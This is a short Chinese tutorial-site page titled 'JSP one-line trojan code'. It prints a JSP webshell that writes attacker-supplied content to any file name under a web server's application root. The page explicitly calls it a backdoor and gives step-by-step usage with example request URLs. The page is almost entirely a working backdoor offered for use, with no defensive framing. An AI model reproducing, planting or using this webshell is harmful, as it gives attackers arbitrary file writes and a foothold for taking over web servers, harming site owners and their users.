zl程序教程

您现在的位置是:首页 >  后端

当前栏目

JSP一句话木马代码

JSP代码 木马 一句
2023-06-13 09:13:53 时间
复制代码代码如下:

<% 
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); 
%> 

这个 后门估计不用我说了吧.还是提示一下咯.保存为1.jsp 提交url!
http://localhost/1.jsp?f=1.txt&t=hello
然后:http://localhost/1.txt 就出来了 内容为 hello .....